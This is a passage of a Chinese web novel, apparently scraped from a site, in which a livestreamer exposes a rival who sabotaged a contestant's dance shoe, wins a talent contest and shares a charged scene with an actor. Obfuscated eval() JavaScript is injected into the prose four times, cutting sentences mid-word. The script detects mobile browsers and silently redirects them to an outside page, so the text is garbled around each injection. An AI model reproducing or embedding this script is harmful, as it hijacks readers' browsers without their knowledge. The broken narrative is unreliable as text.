林见微本来在脑子里复习唱跳动作,此时也跟着众人围了过去。 只见沈惊鸿神情委顿地坐在地上,俏丽的脸上挂满泪珠,已经化好的妆容花了大半。 她穿着一袭民族风情的红色长裙,本该是舞台上那支最耀眼夺目的牡丹,此刻却好似开败凋谢的花瓣,颓然地蜷着膝盖坐在那里,满脸委屈。 她的面前摆着一只鞋子,还有一颗两公分长的细钉子。 人越聚越多,她不得不重新解释道:“我刚刚换好舞鞋站起来,突然觉得右脚特别疼,好像被针扎了一样。” “后来我脱下鞋子,发现里面果然有颗钉子!” 说着大颗大颗的泪水又落了下来:“不知道是谁这样害我,我以后没法跳舞了,呜呜呜……” 众人七嘴八舌地议论起来:“天啊,居心叵测!”“没想到这样的事竟然真的能发生”“沈惊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16561674|184190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鸿也太可怜了!”“如果没有这颗钉子,她铁定是女生组的第一名!” 沈惊鸿呜呜咽咽地哭个不停,林见微皱起眉头弯腰捡起那枚钉子。 那钉子非常细,针头又尖,扎进足部后肯定伤及筋骨。 林见微对沈惊鸿说道:“你的脚让我看看。” 沈惊鸿抬起湿润的脸,泪眼婆娑地看着她。 不知为什么,林见微身上有种让人心安的气质,于是她抬起脚—— 只见足底已经被鲜血染红,好在伤口很小,失血量不多。 林见微立刻从随身的包里翻出一片创可贴,又大声朝四周喊道:“有没有酒精或者消毒湿巾?” 场控小姐姐听到风声一溜烟小跑过来,听到叫喊又一溜烟跑了出去,片刻后拿着酒精慌张跑来。 “酒精在这里!”场控小姐姐尖叫道。 林见微沉稳接过,握着沈惊鸿的脚踝,将酒精倾倒而下,沈惊鸿立刻倒吸一口气,发出嘶嘶叫喊。 林见微握着她足踝的力度很大,这才没让她挣脱而去。 “忍一下,消毒之后我给你贴上创可贴。” 林见微的声音自信沉稳,有一种安定的魔力,沈惊鸿渐渐平复下来,擦了擦眼泪。 待酒精稍干,林见微把创可贴撕下,小心地贴在她足底:“看看能不能走路,然后赶紧去医院看看有没有感染的风险。” 沈惊鸿眼泪又下来了:“那今天的比赛……” 林见微叹了一口气:“可能没办法了,但是金子总会发光的,你唱歌跳舞这么棒,以后一定有出头之日的。” 沈惊鸿呜咽道:“可是我,我准备了那么久,呜呜呜……” 这时郝施突然说道:“这钉子肯定是人放进去的,咱们仔细想想,谁最有可能做这件事?” 林见微惊了一下,她还以为郝施已经走了,没想到也凑过来看热闹了。 周围人立刻附和道:“没错,今天必须要揪出这个黑心的人!” 郝施:“咱们首先排除男生,因为咱们的比赛是男女分开排名的,所以男生选手和沈惊鸿没有利益冲突。” 众人点头表示同意。 郝施:“女生这边,沈惊鸿综合排名第一,那我们看看排名第二的人是谁……” “啊哈,是大河向东刘!” 众人的目光齐刷刷朝一个方向看去,只见一个身形不高,有些微胖的女生立刻双手叉腰,霸气横生地说:“姑奶奶在这里!” 大河向东刘是个唱跳+搞笑的博主,平时喜欢拍一些恶搞视频,跳一些搞笑舞蹈,她长得很一般,但自带喜感,所以粉丝颇多。 此时她中气十足地为自己辩护:“你们觉得我会做这种事??搞搞清楚,我是搞笑赛道的,和她完全不是一个类型的好嘛!” “我要是做这种阴暗爬行的事,就罚我一辈子挣不到钱!” 大河向东刘是个颇为豪爽的女生,直来直去,所以众人想来想去,觉得她确实不像能做出往人鞋底放针这种阴暗之事的人。 矛头指向排名第三的女生,一个叫鲁滨逊跳舞机的人。 但是她此时此刻根本就不在后台,因为马上就该她上台了,她早早地就跑去幕后准备了。 排名第四的选手也不在,她因为个人原因今早宣布退赛了。 于是这么一来,所有人的目光都聚焦在排名第五的选手,扬州大劈叉身上。 感受到了目光的聚焦,林见微在原地微微一愣。 郝施抱臂站在对面,一副趾高气扬的样子。 在众人的目光里,林见微平静道:“我从一进来就一直坐在角落里那个椅子上。” 说着她手指朝斜上方一指:“你们没发现角落里有个监控吗?你们要是信不过我,咱们可以调监控,看看究竟是谁往沈惊鸿的鞋里放了钉子。” 众人顺着她的手指看去,发现那里果然有个摄像头,只不过天花板和摄像头都是黑色的,所以很容易忽略。 “哦~还真是”“没想到这里还有监控”“大劈叉说的是个好办法啊,看一下监控录像,一切不就真相大白了吗?” 郝施的脸上出现了一丝不易察觉的惊慌。 一切都没逃过林见微的眼睛,她笑了笑说:“保安就在门口,咱们找他问问看怎么调一下监控,抓到真凶后立刻报警。” 不出所料,郝施立刻笑着拦道:“哎呀,何必搞得这么复杂,还是先把沈惊鸿送到医院比较重要……” 但群众们都不答应,七嘴八舌道:“不行,这件事情性质太恶劣了,必须看监控!”“就是,而且必须报警!”“看监控和去医院不冲突啊,你们送她去医院,我们在这里看监控。” 郝施明显有些慌乱,但又拗不过众人,只得眼睁睁看着大家兵分两路。 也就是在这时,轮到林波微步上场表演。 林见微决定还是去看看,毕竟她和他曲目重合,观摩一下他的表演,看看自己还有什么需要改进的地方。 41.四十一 舞台灯光熄灭,低沉的鼓点从黑暗中传来,整个舞台都微微颤动。 无数道追光从头顶炸开,林波微步一袭白衣立在舞台中间,仿若遗世独立的空谷幽兰。 白雾从舞台两侧缓缓喷出,林波微步衣袖翩翩,目若朗星,任谁看了都要赞一句:好一个惊艳的少年郎! 低沉的鼓点渐渐褪去,激昂的音乐响起,林波微步舞动起来,每一个动作都力量十足,空谷幽兰般的郎君摇身变成了叱咤战场的少年将军。 更令人惊艳的是,他和着rap唱了起来,虽然声线偏高带些女音,但和雄浑的伴奏结合起来竟然相得益彰,意外得合拍。 演出过半,伴奏凸起,他从舞台上拾起一根红缨长枪,灯光忽明忽暗,少年将军英姿飒爽身如闪电,一柄长枪迅捷凌厉地刺出,音乐也随之来到高|潮。 舞台灯光全数大开,聚光灯下的白衣少年放下长枪,音乐高亢激昂,动作爆发力和冲击力十足。 最后他单手撑地,音乐和灯光都骤然停止,演出结束过了许久,室内才爆发出如雷掌声。 “太精彩了,不愧是波波”“没想到他还能给我们惊喜!”“波波,你太惊艳了!”“波波第一,无人能敌!””波波,我们爱你!!” 林波微步九十度鞠躬,敬谢支持他的观众们,林见微也纵情呐喊道:“波波,你是最棒的!” 此时室内声响如雷,但林波微步好像捕捉到了什么,朝林见微那里望去。 于是下一刻他露出羞赧神色,冲这边喊道:“谢谢!” 林见微身边的粉丝们立刻兴奋得大叫,手舞足蹈地更加疯狂地表达起爱意,林见微默默转身离开,去后台准备等会儿的表演。 后台此刻几乎空无一人,大家都去忙活着调监控,送沈惊鸿去医院的事了,所以舞台上的一切都清晰传来。 林见微听见评委们对林波微步的表演赞不绝口,《星璨》的辅导员陈华甚至放话,此次选拔赛男生组的第一非他莫属。 观众席再次爆发出阵阵欢呼,林见微不得不强迫自己集中精力,一边在脑子里反复复习着动作,一边快速换上演出服。 第十名和第十一名很快完成了表演,二人表现得平平无奇,没什么水花,林见微往幕布后面走的时候,报幕小姐姐笑盈盈地上台,告诉大家下一个上场的是扬州大劈叉。 林见微的心跳快得厉害,手心后背都渗出一层细汗,喉咙也干涩发紧。 她朝台下紧张望了一眼,刚刚因林波微步热起来的场子有些发冷,众人神情严肃不苟言笑,评委席上的三人也蹙眉看向舞台。 报幕小姐姐话音落下,底下先是响起一阵稀稀拉拉的掌声,但随即传来时闻的掌声和叫喊:“好!” 众人纷纷惊讶侧目:今天太阳打西边出来了,一向沉稳的山顶洞人怎么在这里上蹿下跳的? 还有,他穿的是什么??黑白灰老干部的人设不要了?? 虽然疑惑,众人还是跟着他鼓起掌来,场子一下热了起来,舞台灯光也尽数变暗。 柔和凄婉的小旦戏剧唱腔破空而出,众人心中一凛,既而看见舞台上已然站着一个衣袂翩翩的青衣女子。 她双袖交叠双膝微曲,俨然是青衣站相,眉眼低回,眼波流转间似乎酿着无限哀婉和思念。 征人不归,佳偶分离,那独守闺房的落寞心情都尽数诉说在哀婉的唱腔里。 下一刻众人突然反应过来:这不是伴奏带,是大劈叉现场演唱出来的! 原来林见微昨晚回去之后苦练了一番,虽然和专业唱戏的相比还是差了十万八千里,但有了伴奏和装扮的加成还是足以混淆视听。 场下一下子爆炸了,众人惊叹高呼:没想到大劈叉还有这一手! 林见微唱完两句,高亢凄惶的二胡声响起,台上青袖挥动,翩然若仙,及腰如瀑的黑发随之挥摇晃动。 二胡声戛然而止,灯光全熄,几秒钟后再次亮起时,刚刚那绝世独立长发飘飘的青衣已然不见,取而代之的是一个高马尾,一身飒爽红衣的女将军! 众人再次惊呼,紧接着林见微不知从哪里变出一个话筒,rap唱词无缝接入,伴着低沉喑哑的男声还有低沉铿锵的鼓点,表演达到一个小高|潮,整个展厅为之沸腾。 伴奏带里,柔美婉转的戏腔横空而入,和林见微故意压低声线的rap表演形成鲜明对撞,迸发出的巨大张力令观众叹为观止。 整首曲子在此节达到高|潮,林见微放下话筒再次舞动起来,每一个动作都力量感十足,高高扬起的马尾在空中划出一个又一个利落的圆圈。 嘈嘈切切的旋律、独特的戏腔唱词、还有林见微爆发力十足的舞步完美地融合在一起,令人目不暇接,精彩纷呈,让人叹为观止。 众人纷纷惊呼:这是我迄今为止看到过的最好的《武娘》表演,没有之一! 和林见微的表演相比,刚刚林波微步的表现只能说是中规中矩,虽然他在主播里跳得已经算是数一数二的水平了。 最后舞台上的纷乱戛然而止,灯光再次全熄,隔了很久,厅内才爆发出如雷掌声。 即便如此也没有压下时闻的疯狂鼓掌,以及有些撕心裂肺的叫喊:“好!演得好!” 众人再次纷纷侧面,觉得他今天八成是吃错药了。 林见微的表演确实精彩,众人足足鼓掌叫好了两分钟才渐渐止息。 到了激动人心的评委点评环节,众人目光纷纷聚焦在已经黑着脸的章衍身上。 大家都心知肚明他对大劈叉的敌意,所以现在都暗戳戳地期待,这么炸裂的表演之后,他会作何言论。 章衍拿起话筒,清了清嗓子:“刚刚的表演还不错,挺让人意外的。” “我个人还是觉得大劈叉的跳舞比唱歌要好一些,这次的表演你取了个巧,没有真的唱歌,而是来了几段rap,这并不能体现一个人唱歌的真正实力……” 底下有人小声提醒:“她还唱戏了。” 章衍的脸上明显有一瞬间的不自然,咳了一声他续道:“一开始的戏腔是个惊喜,很精巧的设计。” 底下一片低低的嘘声。 章衍:“徐总,您如何看待大劈叉今天的表演呢?” 徐总接过接力棒:“我觉得啊,大劈叉今天的表现还是很让人惊喜的,我个人是没想到大劈叉还有这一面的。” 底下观众:我就看你怎么找补。 徐总:“跳舞是一如既往地稳,曲子改编也非常用心,整个演出让人耳目一新。” “但正如刚刚章总说的,唱歌方面还需要加强,虽然戏腔和rap都完成得不错,但正统的歌唱训练还是应该有。” 台下又是一片嘘声,甚至有人叫道:“不会说话就闭嘴。”“麻烦有请下一位评委谢谢”“有黑幕” 徐总被喷得脸上青一阵白一阵,只得转向坐在中间的陈华:“陈总,要不您来点评一下……” 话还没说完,陈华已经笑眯眯拿起话筒评了起来:“我觉得大劈叉演得非常好,是个不可多得的人才,以后前途无量,我十分看好!” 底下顿时一片喝彩声。 陈华:“观众的眼睛都是雪亮的,大家的反应、鼓掌声和叫好声是对你今天的表演最好的评价。” “我是做唱跳比赛这一块的,每天要看无数人跳无数支舞蹈,光是《武娘》这支舞,不夸张地说,我已经看过听过不下百遍了。” “所以我要说,大劈叉今天的编曲、编舞、服饰、包括一开始从青衣换装成女将军的设计,都让人印象深刻,叹为观止,是我看到过的数一数二的表演。” 台下顿时爆发出一阵热烈掌声。 进入打分环节,三位评委无一例外都给出了8分的高分,最终的成绩比林波微步高0.5。 此刻林波微步已经脱下演出服换上日常装,从后台走到台下第一排,双手在唇边呈喇叭状,高呼道: “大劈叉好样的!” 听见林波微步的呐喊,众人纷纷露出怪笑,起哄道:“大波cp!”“大波夫妇在线营业!”“大波大波,磕了没错!” 林波微步的脸一下子红到了耳根,丝毫没有意识到黑暗中一束凌厉如刀的目光朝他刺来。 林见微倒是十分淡定地鞠了个躬,感谢了评委和观众们,然后款款走下台去。 前脚刚到后台,后脚时闻就拖着谷煜追了过来。 时闻笑嘻嘻地看着她——因为他从来都不大幅度微笑,所以此刻显 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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郝施不顾一切地两腿一蹬,坐在地上哀嚎起来,众人纷纷拿出手机拍照录视频。 林见微冷冷走了过去,挤进围观人群,走到郝施面前。 众人见她出现,纷纷大喜道:“我们刚刚看监控确认你被冤枉了”“对不起啊,刚刚不应该怀疑你”“都是这个贱人挑唆的!”“对,我们必须把她送进去,让她吃尽苦头!”“已经报警了,那边说马上就来处理,郝施你逃不掉的!” 林见微冷笑地看着郝施——郝施咬牙切齿地坐在地上瞪着她。 “大劈叉,你来看我笑话是吧?” 林见微呵呵笑了:“是,又怎么样?你能把我怎样?” 郝施呸了一声:“你这个阴沟里爬出来的贱人,不自量力,非要和我们作对,你别看我现在落魄,我上面有人,迟早能爬起来,到时候你给我等着!” 林见微眼神微眯,蹙眉道:“哦?上面的人是能临时为你修改法律,还是能给你去看守所送饭?你爬,我在这里等着,等你爬起来找我。” 郝施阴笑道:“你不要以为自己有一点流量,就忘了自己几斤几两,当初,要不是我和麦乐鸡愿意拉你,提携你,你早就堕落得没边了!” “现在有了点流量就忘本,我告诉你大劈叉,你这样的目中无人,不会红太久的,迟早有一天我们会回来,夺回属于我们的一切!到时候你哭都来不及!” 林见微:“你和麦乐鸡是曾经对我有恩,带我入行,教我如何撩|骚男人,让我看见这个世界的丑恶。” “我已经和公司解约了,麦乐鸡经过上次的事情元气大伤,男友和她分了手,陈怀顾这条大鱼也没钓上,你呢也昏了头,竟然在这个时候以这种极端的方式诬陷我,结果偷鸡不成蚀把米,把自己送进去了。” “摆在我前面的是康庄大道,而摆在你和麦乐鸡前面的则是阴暗邪路,咱们谁高谁低,大家都看得明白。” “我奉劝你早点改过,重新做人,如果你还敢招惹我,”说着林见微低下头,如刃的目光直直刺进郝施那双闪着疯狂的双眸,一字一顿吐道:“我一定会让你比今天还惨。” 42.四十二 郝施整个人气得发抖,手指指着林见微,眼睛圆瞪着,却半晌说不出一句话。 没多时,大门外威风凛凛走进来两个保安,一左一右气势汹汹地把四肢瘫软的郝施从地上架起。 “走!”二人吼了一声,然后不由分说把郝施拖了出去。 郝施面如死灰,嘴唇发白,像麻袋一样被人拽出了门。 场面过于震惊,好半晌,众人才回过神来,低声道:“自作孽不可活!” 众人一边议论刚刚的事情,一边等待比赛的最终结果。 评委席正热烈讨论着晋级名次,大家对男生组没有争议,林波微步以压倒性优势获得胜利。 女生组这边,因为沈惊鸿意外退赛,情况变得比较复杂。 第一轮和第二轮比赛,沈惊鸿都以8分的成绩遥遥领先,如果她能参加第三轮比赛,那很可能以压倒性优势获胜。 但她没参加,林见微就以0.5分的微弱优势位列第一。 章衍极力反对让林见微晋级,坚称为了公平起见,因为等沈惊鸿脚好了之后再比一场。 徐总沉默不语,陈华则希望让林见微直接晋级。 “陈导,咱们的比赛讲究公平公正公开,沈惊鸿是咱们平台呼声最高的主播,如果今天放弃公平公正,让一个籍籍无名的小主播以运气入围,恐怕会留有后患啊!”章衍情绪有些激动。 陈华:“大劈叉三轮比赛的总分难道不是全场最高吗?我们哪里违背了公平公正原则?而且,大劈叉和沈惊鸿粉丝基础有巨大差异,如果大劈叉能有沈惊鸿的粉丝量,她也很有可能是最受欢迎、呼声最高的夺冠热门。” “再次,凭运气取胜怎么了?运气在娱乐圈里多重要啊,千里马常有,而伯乐不常有,只有运气好的千里马才能被人慧眼识珠,所以运气太重要了。” “我们做选秀造星的,每年要捧几百个人,但这里面真正能火的却寥寥无几,为什么呢?因为有的人天生自带星途、运势,观众缘好,老天爷赏饭吃,不火没道理。” “大劈叉就是一个很好的例子。你看她几天内就能把粉丝数翻几十倍,说明她观众缘好;意外获得比赛名额,牢牢抓住机会趁势而上,说明她有运势,有能力。” “她晋级集齐了天时地利人和,所以我们为什么不给她这次机会?” 陈华说了这么一大通话,章衍一下子不知该如何反驳。 其实他也没法反驳,毕竟陈华是《星璨》的副导演,自带最终话语权。 现在人家力主让林见微晋级,他又能有什么办法呢,别说徐总持中立态度,就算他们两个人一起反对,也拗不过人家才是《星璨》主办方这个硬道理。 所以虽然万般无奈,章衍只得暂时咽下这口气,同意让林见微晋级。 这样一来,《星璨》名额争夺赛就变成了“大波”cp双双晋级。 结果一出,全场叫好,不少人起哄地叫道:“大波大波,累累果硕”“大波cp,乘胜追击!” 在一众簇拥中,林波微步和林见微一起走上台,在万众瞩目和鲜花掌声中捧着奖杯合影留念。 林波微步见林见微获得名额,比自己晋级还高兴,跑前跑后地替二人收鲜花,有粉丝找来签名合照,他一定要把林见微也拉进来。 与此同时,香蕉平台上“大波cp”已经一跃成为热搜第一,不少大主播纷纷转发二人晋级的消息附带合照,“大波cp领奖把家还”成为爆款话题。 有些不明真相的粉丝甚至失望地评论:原来波波小哥哥已经有女朋友了???脱粉脱粉。 还有人跑到林见微主页留言骂她。 然而由于林见微账号还处在封闭状态,各类骂声都被驳回,无法公开显示 :) 兴师动众地搞了好半天,二人才回到后台,林波微步卸下怀里若干束捧花,兴冲冲地问道:“活动结束了,咱们中午一起去吃个饭吧?” 话音未落,林波微步便觉得附近隐隐有一股杀气。 抬起头,只见前方有一道冷冽锐利的目光平压而来。 明艳艳的粉红色也挡不住时闻周身不断往外冒出的寒冷低气压,他双臂交叉抱在胸前,不言自威。 林波微波顿时觉得自己矮了几公分。 林见微本来已经在说:“好啊,去哪里……”但话头立刻被截住。 “中午我们还要复盘一下。”时闻大步走上前,板着脸站在林见微身后。 复盘??兄弟你是大厂出来的吗? 赢都赢了,还不好好庆祝一下,还复盘,复个p盘! 察觉到这边诡异浮动的气压,吃瓜群众全都哄地围了过来。 林波微步在时闻这只洪水猛兽面前再次秒变胆怯小绵羊:“啊,不知道你们早就有安排,那,这,这……” 他求助性地看向林见微,但后者只是蹙着眉,没说什么。 见状,林波微步便如泄了气的皮球,沮丧地挠了挠头,低声说:“那我就不打扰你们了……告辞。” 说罢他又看了眼林见微,不知为何,她竟始终一言不发。 最后一丝希望破灭,林波微步懊恼而沮丧地快步离去,瘦小的身影佝偻得有些可怜。 人群里传来一阵低低的惊呼。 这时时闻附身低声在林见微耳边说:“跟我过来一下,谷煜出事了。” 听见这个,林见微立刻慌张起来,刚刚发生的事都被她暂时忘却。 “怎么了?”林见微跟着时闻一路小跑出了门。 时闻却惜字如金:“去看了就知道了。” 十分钟后,会展中心302,香蕉平台专门给时闻准备的休息室。 这间休息室看上去就是一间酒店大床房,面积不大,一张king size的大床占据了绝大部分。 房间布置得蛮舒适的,阳光透过淡绿色的窗帘温柔地透进来,碎花墙纸和白色工艺品相映成趣,一股淡淡的沉水香静谧地氤氲着。 然而,1米8大床的绿色碎花床单上,不合时宜地四仰八叉地躺着一个长手长脚的男的。 谷煜呈大字型不省人事地瘫倒在那里,如果不是因为那顺畅自如的呼噜,林见微会严重怀疑他心脏病发作或者中风昏死过去了。 “……他这是怎么了?”林见微问道。 时闻面无表情地耸耸肩:“睡着了。” 林见微:“……?” 时闻:“昨天蓝牛喝多了,精神被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16572000|184190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 透支,身体被掏空,所以就变成这副德行了。” 林见微:“……所以你叫我过来,是希望……?” 时闻转过身面朝林见微,严肃道:“只是想告诉你,大波cp这个组合,不适合你。” 林见微略低头瞟了一眼自己的起伏。 啧啧,这轮廓这形状,实在太完美了。 她抬起头,半认真半戏谑地看着时闻,眉毛微挑:“……是吗?我配不上大波……大波cp这个名字吗?” 时闻脸上有一瞬的慌张不安,双颊甚至飘过一片红晕:“呃,我不是这个意思。” 林见微笑了,干脆故意扭动着曼妙腰肢,朝时闻一步一步走去。 于是她心满意的地看见时闻喉结上下一动,脸上又添了几分慌张,眼光局促地躲闪起来。 有那么一瞬间他似乎不知道该把手脚放在哪里。 但是,他没有后退。 林见微在他身前三公分处站定,她的夏日橘调甜香和他的空谷山松的沉香迅速紧密交织在一起。 时间在这一刻凝滞。 林见微仰起头,透过夏日绿窗的阳光映在她眸中,她看着时闻那双充满克制但同时又躁动地跳着什么的眼睛,不无挑衅地问: “那你是什么意思?” 她字咬得很轻,一字一字如珠玉般,混着夏日橘香落入时闻耳中。 时闻的喉结再次上下滚动。 明媚阳光照射进那双深湖一样的黑眸,有什么深海冰山一样的东西在暗处涌动。 他低下头,非常认真非常深地看进林见微眼眸。 “我的意思是,炒大波cp,并不利于你事业的长期发展。” 林见微越发笑得明媚:“你怎么知道我是在‘炒’cp?那以你所见,为了事业的长期发展,我应该炒什么cp?” 林见微的问题犀利露骨,如小刀一样刷刷飞向时闻。 时闻的深眸里涌着复杂至极的情绪,他极力克制着,以至于声音变得低沉沙哑: “为了事业的长期发展,不要炒cp,炒cp或许能给你带来短期的流量,但也会限制以后的发展。” 顿了顿,时闻深吸一口气,似乎下了很大决心,才一字一句低声道:“就算你要立cp人设,那就不要欺骗观众欺骗自己,立个真实的cp。” 林见微轻声笑了。 然后她非常轻,但非常清晰地问道:“那我应该和谁立真实的cp呢?” 时闻突然觉得有些胸闷,好像有什么东西堵在胸口,上不去下不来。 大脑疯狂运转,但向来清晰的头脑却在此刻宕机,很多条思路齐头并进但最终都绞成一团乱麻。 空气凝滞,大脑因疯狂的运转而缺氧,有一个不可思议的答案发疯地想要呼之欲出,但又因太过荒谬而被理智拒绝。 他这一生中,做出的所有决策说出的所有话,都是经过理智思考深思熟虑得出的,从未有过像今时今日这般理智失灵,头脑失智的情形。 他觉得自己可能生病了。 颤动着嘴唇,时闻却不知该说什么,半晌只憋出一个“我觉得……”然后二人身后突然传来一声惊呼: “有忙病啊!” 43.四十三 林见微&时闻同时转头:“??!!” 谷煜叫完这一句没头没脑的话,下一秒翻个身,呼噜立刻无缝衔接进来。 林见微&时闻:“…………” 谷煜这么一嚷嚷,时闻趁机不动声色地后退半步。 “咳咳,”他战略性咳嗽,“刚刚的话你别往心里去,我就随便评论一下,在直播界你是行家我是门外汉,你比我更清楚该怎样做。” 林见微微笑道:“时大明星过谦了,对于网络运营、粉丝维护、形象管理,您肯定比我有经验。” 时闻的脸色黯了一下,林见微立刻意识到好像说错话了。 时闻刚刚出了醉酒后当街打人的丑闻,形象一落千丈,被高大上的娱乐圈除名,发配到良莠不齐乱象横生的直播圈。 这无异于把一个养尊处优的温润公子发配到苦寒恶劣的蛮荒之地,实惨。 他如果精于运营自己的形象,就不会出这种事了。 林见微慌忙找补道:“我的意思是……既来之则安之,既然注册成为了一名主播,不如好好运营一下,兴许这条赛道能带给你惊喜和意外呢?” 之前时闻往后退了半步,半拉着的窗帘投下的阴影正好笼了他半边脸,脸部轮廓显得异常棱角分明。 他的嘴唇动了动,但没有声音发出来。 林见微继续耐心温言开导道:“三百六十行,行行出状元,每一行有每一行的干法,你是演员,自然听说过没有小角色,只有小演员。” “直播赛道和演艺圈相比自然低人一等,但只要潜下心来做,总能出成绩,有收获,你如果不愿意放低姿态尝试这个新职业,和一个演员嫌弃一个角色没有戏份有什么区别呢?” 时闻黯下的眸子里有什么东西一闪而过,他惊讶地看着林见微,完全没想到她会这么说。 或者说,他完全没觉得,一个社会底层出身,高中毕业就进入主播行业,二十出头的姑娘,会有这样的认知。 室内安静了好久,谷煜的呼噜声显得异常的响,室外的蝉鸣也透窗而入,隐隐可以听到路上的喧嚣。 没有小角色,只有小演员。 没有低端赛道,只有低端思维。 恍然间,他有一种被林见微一语点醒梦中人的感觉。 过了许久,时闻轻声道:“那我应该怎么营业呢,开直播吗?” 林见微蛮意外的,本来以为说服他会难于上青天,没想到他竟然真的愿意尝试。 “直接开直播可能挑战太大,要不……要不你考虑一下先发点照片?” 时闻:“发什么照片呢?” 林见微歪头想了想,随即笑道:“我有一个好主意,现在平台最火的讨论度最高的就是当下的这个群蕉荟萃栏目了,不如你就发个和活动相关的动态?” “比如,和选手们的合照,或者以舞台为背景的自拍?” 时闻想了想点头道:“可以,我手机里存了点照片,晚些时候发出去。” 林见微欣喜道:“好。” 说着转身看了看兀自睡得昏天黑地的谷煜,苦笑地商量了一下,最后决定时闻留下来等他醒来,林见微回家好好休息一下。 临走的时候时闻说:“你放心,账号被封禁的事我一定会帮你解决的,明天一早咱们坐高铁去冬江,酸奶举报的事也会解决的。” 林见微有些感动:“好,谢谢,借你吉言。” 走出门的时候时闻又补了一句:“有什么事咱们微信联系。” 林见微笑着说好,然后轻声带上门。 打车回到酒店,见到床的那一刻,林见微一头扑了上去。 带妆昏睡了一个多小时,林见微猛然醒来,看了下表发现已经下午三点多了。 手机里还有几则未读消息,点开一看,发现自己被拉进了一个群聊:正义联盟。 群成员是林波微步、沈惊鸿、大河向东刘、南瓜、大劈叉。 起首是大河向东刘发的消息:很高兴能在群蕉荟萃活动里认识大家!鉴于咱们都是正义使者,以后就都是朋友啦,拉个群,定期聚一聚! 底下是一连串的鼓掌表情。 大河向东刘还@沈惊鸿:[宝,你的脚怎么样了?] 沈惊鸿说:[医生已经处理了,没什么大碍,歇几天就好了。] 大河向东刘:[郝施实在是太欺人太甚了!要不是大劈叉机智发现房间里有监控,我们两个都难洗脱嫌疑。] 林波微步:[+1,太欺负人了。] 南瓜:[大河和大劈叉吉人有天相,不是一般奸邪可以近身的。] 大河向东刘:[我看大家的ip都在京南市,咱们抽空聚聚吧,交流交流,互相学习。] 南瓜:[好!] 林波微步:[赞成!] 林见微也连忙追加了一个:[OK!] 她这么一发消息,立刻把其他人也整兴奋了: 大河向东刘:[就这样愉快地决定了!咱们下周周中找个地方聚一聚,到时候我组织一下,把时间地点告诉大家] 南瓜:[好啊好啊,谢谢大河!河哥,我特别喜欢你的爆笑小视频,你的构思和演技真是绝了,我就指着你的视频解压了 大河向东刘:[哈哈谢谢支持,我就随便拍拍,诶你们要是有兴趣和时间,欢迎加入我们的团队啊!] 沈惊鸿:[哇,听着不错啊,聚餐的时候详细说说] 林见微:[+1,愿闻其详] 林波微步:[演戏我是真不会,去给你们唱唱歌跳跳舞还行] 大河向东刘:[不用正经演戏,你们过来施展才艺就行,都能用得上!] 大家又聊了一会儿有的没的,最后暂定周三晚上找个地方聚餐,共商大册。 林见微之前没怎么看过大河向东流的搞笑视频,聊天间隙点进她主页,随机点开了几条,果然笑得合不拢嘴。 于是她一发不可收拾地把近期的视频都看了个遍。 不得不说,大河向东刘是个善于观察生活,每一个笑点都紧扣生活,比如快递被其他人拿走,外卖商家送错了单。 大河向东刘在里面扮演不同的角色,楚楚可怜小白花、茶里茶气黑莲花、尖酸刻薄市井大妈、甚至遛弯大叔大爷都被她拿捏得明明白白,惟妙惟肖。 林见微看着看着心里一亮:她的本职工作就是演员,如果能和大河向东刘联手,再利用沈惊鸿、林波微步的特长和名气,制作出的视频肯定不差,有广泛的传播度。 到时候这些视频说不定可以成为她的敲门砖,助她再次进入影视行业…… 这么盘算了一晚,她简单收拾了一下明天的行李,就爬到了床上打算沉沉睡去。 幸好她睡前习惯性地刷了一下手机。 不然她就错过了时闻在香蕉平台的第一则动态。 演员时闻点赞了群蕉荟萃活动。 演员时闻发布了一条最新动态: 很荣幸能够入驻香蕉直播,谢谢群蕉荟萃活动的邀请,玩得很开心! 底下是四宫格照片,分别是头两张是林波微步和林见微的表演照,第三张是全体大合影,第四张是他的自拍。 动态刚刚发布的十分钟内,底下的评论区就炸了锅: [震惊!高冷的时大公子竟然在香蕉直播营业了??] [报告,活捉老干部一枚!] [是我色盲吗,第四张自拍里,我们黑白灰老干部穿的是粉色衣服吗??] [时大公子这是本尊为大波cp站台吗??] ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16581213|184190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' [追随时大公子的脚步,我也要粉大波cp] [话说你们有没有发现,第一、三、四张都拍得随意而且模糊,但第二张不仅高清,而且一看就是用心琢磨了拍摄角度和拍摄光线??] 